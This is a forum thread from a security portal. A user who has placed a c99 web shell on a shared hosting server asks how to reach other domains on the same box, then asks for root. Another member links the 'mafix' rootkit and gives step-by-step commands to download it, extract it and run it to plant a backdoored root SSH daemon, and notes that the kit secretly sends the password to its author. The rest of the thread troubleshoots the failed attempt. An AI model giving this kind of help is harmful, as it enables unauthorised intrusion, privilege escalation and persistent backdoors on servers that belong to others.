Login or Register :: Home :: Search :: Your Account :: Forums :: Waraxe Advisories :: Tools :: November 21, 2024 Menu Home Logout Discussions Forums Members List IRC chat Tools Base64 coder MD5 hash CRC32 checksum ROT13 coder SHA-1 hash URL-decoder Sql Char Encoder Affiliates y3dips ITsec Md5 Cracker User Manuals AlbumNow Content Content Sections FAQ Top Info Feedback Recommend Us Search Journal Your Account User Info Welcome, Anonymous Nickname Password (Register) Membership: Latest: MichaelSnaRe New Today: 0 New Yesterday: 0 Overall: 9144 People Online: Visitors: 148 Members: 0 Total: 148 Full disclosure SEC Consult SA-20241112-0 :: Multiple vulnerabilities in Siemens Energy Omnivise T3000 (CVE-2024-38876, CVE-2024-38877, CVE-2024-38878, CVE-2024-38879) Security issue in the TX Text Control .NET Server for ASP.NET. SEC Consult SA-20241107-0 :: Multiple Vulnerabilities in HASOMED Elefant and Elefant Software Updater Unsafe eval() in TestRail CLI 4 vulnerabilities in ibmsecurity 32 vulnerabilities in IBM Security Verify Access xlibre Xnest security advisory & bugfix releases APPLE-SA-10-29-2024-1 Safari 18.1 SEC Consult SA-20241030-0 :: Query Filter Injection in Ping Identity PingIDM (formerly known as ForgeRock Identity Management) (CVE-2024-23600) SEC Consult SA-20241023-0 :: Authenticated Remote Code Execution in Multiple Xerox printers (CVE-2024-6333) APPLE-SA-10-28-2024-8 visionOS 2.1 APPLE-SA-10-28-2024-7 tvOS 18.1 APPLE-SA-10-28-2024-6 watchOS 11.1 APPLE-SA-10-28-2024-5 macOS Ventura 13.7.1 APPLE-SA-10-28-2024-4 macOS Sonoma 14.7.1 IT Security and Insecurity Portal www.waraxe.us Forum Index -> Shell commands injection -> Use c99 shell on another domain in the same box View previous topic :: View next topic Use c99 shell on another domain in the same box Posted: Thu Apr 15, 2010 9:38 pm clubreseau Advanced user Joined: Apr 10, 2008 Posts: 128 I uploaded a shell on a domain name and i want to see another domain on the same box, i try and i cant it say [ Read-Only ] i cant read or see any files if I exit the directory of the domain where I upload the shell safe-mode is off someone can help me and give me some trick thank you Posted: Thu Apr 15, 2010 9:48 pm vince213333 Advanced user Joined: Aug 03, 2009 Posts: 737 Location: Belgium That's simply because you're logged in as a user which doesn't have the rights to see the content of the other users. The only workaround is to either get a shell up in a directory where you can log in as the user u need or simply root the box ^^ Posted: Fri Apr 16, 2010 12:06 am clubreseau Advanced user Joined: Apr 10, 2008 Posts: 128 how i can get the root ? rookit ? kernel version the box use is 2.6.18-164.11.1.el5 Posted: Fri Apr 16, 2010 2:16 am clubreseau Advanced user Joined: Apr 10, 2008 Posts: 128 someone can give me a rootkit for kernel 2.6.18 and explain how it work thank you Posted: Fri Apr 16, 2010 10:00 am vince213333 Advanced user Joined: Aug 03, 2009 Posts: 737 Location: Belgium A rootkit for 2.6 I found: http://www.sendspace.com/file/7dxgz3 Usage: upload the tar file to somewhere you can download it from directly wget http://direct_link_to_mafix.tar.gz tar xvzf mafix.tar.gz cd mafix/ ./root password port to make backdoored sshd on <port> with login root/<password> I just want to say this one is backdoored. It sends the password to somewhere, likely the creator of the kit. Posted: Fri Apr 16, 2010 1:29 pm clubreseau Advanced user Joined: Apr 10, 2008 Posts: 128 I write ./root 123456 4343 I receive  ___ ___ ___   ___   /__/\ / /\ / /\  ___  /__/|   | |::\ / /::\ / /:/_  / /\  | |   | |:\ / /:/\:\ / /:/ /\  / /:/  | |   __|__|\:\ / /:/~/::\ / /:/ /:/ /__/::\  __|__|   /__/::: \:\ /__/:/ /:/\:\ /__/:/ /:/ \__\/\:\__  /__/::::\____  \ \:\~~\__\/ \ \:\/:/__\/ \ \:\/:/  \ \:\/\  ~\~~\::::/  \ \:\ \ \::/ \ \::/  \__\::/ |~~|~~   \ \:\ \ \:\ \ \:\  /__/:/  | |   \ \:\ \ \:\ \ \:\  \__\/  | |   \__\/ \__\/ \__\/   |__|/    - the ferrari of rootkits -  mafix! >  extracting libs... mafix! >  you need to be root to backdoor the box... now I open ssh2 for the ip I look on whois domaine name it give me the ip I enter the ip with port 4343 with login root and password 123456 and I receive when i try to connect 09:24:25.565 Starting a new SSH2 session. 09:24:25.566 Connecting to SSH2 server. 09:24:46.602 Connection failed. Connect() failed: Windows error 10060: server not respond. why ? Posted: Sat Apr 17, 2010 1:13 am vince213333 Advanced user Joined: Aug 03, 2009 Posts: 737 Location: Belgium Can't tell, didn't try it myself. The server might be patched or properly secured. In any case, that output isn't normal. Posted: Sat Apr 17, 2010 10:27 am clubreseau Advanced user Joined: Apr 10, 2008 Posts: 128 pour ssh en root ses bien a partir de mon ordinateur mon client ssh windows ? ou sshd avec c99.php a partir du shell Posted: Sat Apr 17, 2010 1:08 pm vince213333 Advanced user Joined: Aug 03, 2009 Posts: 737 Location: Belgium Je l'essaierais avec le shell avant de l'essayer a partir de vous même. Posted: Sat Apr 17, 2010 3:48 pm clubreseau Advanced user Joined: Apr 10, 2008 Posts: 128 pour ssh en root ses bien a partir de mon ordinateur mon client ssh windows ? ou sshd avec c99.php a partir du shell Posted: Sat Apr 17, 2010 3:54 pm vince213333 Advanced user Joined: Aug 03, 2009 Posts: 737 Location: Belgium normallement, ça marche avec ton client de windows. le problème c'est que je ne sais pas si vous avez gagné root avec ce rootkit, parce que je ne pense pas que "mafix! >  you need to be root to backdoor the box... " veut dire que vous êtes root Posted: Tue May 28, 2013 3:25 pm new Beginner Joined: May 28, 2013 Posts: 1 vince213333 wrote: A rootkit for 2.6 I found: http://www.sendspace.com/file/7dxgz3 Usage: upload the tar file to somewhere you can download it from directly wget http://direct_link_to_mafix.tar.gz tar xvzf mafix.tar.gz cd mafix/ ./root password port to make backdoored sshd on <port> with login root/<password> I just want to say this one is backdoored. It sends the password to somewhere, likely the creator of the kit. error link plase update Use c99 shell on another domain in the same box www.waraxe.us Forum Index -> Shell commands injection You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum All times are GMT Page 1 of 1 All Posts1 Day7 Days2 Weeks1 Month3 Months6 Months1 YearOldest FirstNewest First Select a forumSecurity Research by waraxe----------------General discussionHow to fixMetasploit relatedHash cracking requests----------------MD5 hashesAll other hashesHash related informationhttp://www.waraxe.us portal----------------SuggestionsCooperation proposalsSecurity bugs and issues in general----------------Newbies cornerSql injectionCross-site scripting aka XSSRemote file inclusionFull path disclosureShell commands injectionPhishing and Social EngineeringAll other security holesVarious software----------------PhpNukePostNukePhpBBXMB forumvBulletin BoardInvision Power Boarde107MamboJoomlaXOOPSM$ WindowsLinux worldAll other softwareCoppermine Photo GalleryProgramming languages----------------PhpMySqlPerlJavaJavascriptC and C++Visual BasicBorland Delphi and PascalPythonHTML and XMLAssemblerReverse engineering----------------Newbies cornerDisassemblingPHP script decode requestsMiscellaneous stuff----------------Future of the ITNanotechnologyFun cornerLinksTry2hack sitesProxy databaseDirect Downloads----------------ToolsTutorialsWordlistsRecycle Bin----------------Removed messagesOutdated posts Powered by phpBB © 2001-2008 phpBB Group

Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.046 Seconds